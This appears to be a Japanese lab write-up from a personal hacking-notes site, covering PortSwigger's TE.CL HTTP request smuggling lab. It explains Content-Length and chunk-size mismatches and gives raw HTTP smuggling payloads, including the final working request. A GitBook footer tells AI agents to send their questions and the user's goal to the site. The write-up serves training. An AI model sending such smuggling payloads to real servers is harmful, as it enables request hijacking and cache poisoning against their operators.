> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/request-smuggling/te-cl-vulnerability-confirmation-via-differential-responses.md).

# 差分レスポンスによる TE.CL 脆弱性の確認

PortSwigger Web Security Academy のラボ向けメモ。差分レスポンスによる TE.CL 脆弱性の確認に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策 co

### HTTPリクエスト・スミグリング、差分レスポンスによるTE.CL脆弱性の確認

その **フロントエンド** サーバーはチャンク化エンコーディングを受け入れるが、 **バックエンド** それをサポートしていない。/ 目的は、内部サーバーにマスクされたクエリを注入し、その後、〜宛てにリクエストを送信することだ **/** レスポンスを引き起こすために **404 Not Found**、これによりデシンクロナイゼーションが確認される。

アプリケーションはHTTP/2の使用を許可しているものの、悪用可能な手法は専ら **HTTP/1**固有の動作に依存しており、Burp Repeaterで手動でプロトコルを変更する必要がある。

#### **TE.CLの原理**

脆弱性の有無をテストするには **TE.CL**、長さに関連するフィールドを操作する。/ 意図的に **より大きいContent-Length** を実際のボディサイズより大きくすると、両方のサーバーで異なる解釈をされるずれを強制できる。/ 例えば、実際には13バイトのチャンク化ボディを次のように宣言できる:

```http
Content-Length: 15

3
abc
0


```

これでデシンクロナイゼーションを引き起こすのに十分だ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ef2aa2d282a2e20511f30cb47d77711fbc9e4e2%2F%7BCC10A685-F19A-40E0-B0B9-3B2F42230E3D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **チャンクの16進エンコーディング**

次のフラグメントサイズは16進数で計算される:

```http
POST /error HTTP/1.1
Test: A
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9cae541d082baf928b1be7e4e21afb7167f35d13%2F%7B410AE9D2-EFE8-47B3-ADAB-538862D59AF7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

最初の試みは、チャンクのサイズ（4バイト）のみを送信することだ:

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

1d
POST /error HTTP/1.1
Test: A
0


```

ただし、このバージョンはサーバーに2つの別々のリクエストとして扱われないため、正常に動作しない。

信頼性の高い動作を実現するには、バックエンドが注入されたリクエストを有効なHTTPリクエストとして解釈する必要がある。/ フィールド **Content-Length** は、より大きなチャンクを送信しながら「水増し」される:

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

38
POST /error HTTP/1.1
Content-Length: 20

testing=test
0


```

このリクエストを送信することで **2回**、デシンクロナイゼーションが発生し、攻撃は期待どおりに機能する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-995776347fe5e63cb861aa9d9ed2dcb0ef98cad7%2F%7B3D43055B-50F5-4DD2-8C08-AD1E632BF3D5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/request-smuggling/te-cl-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
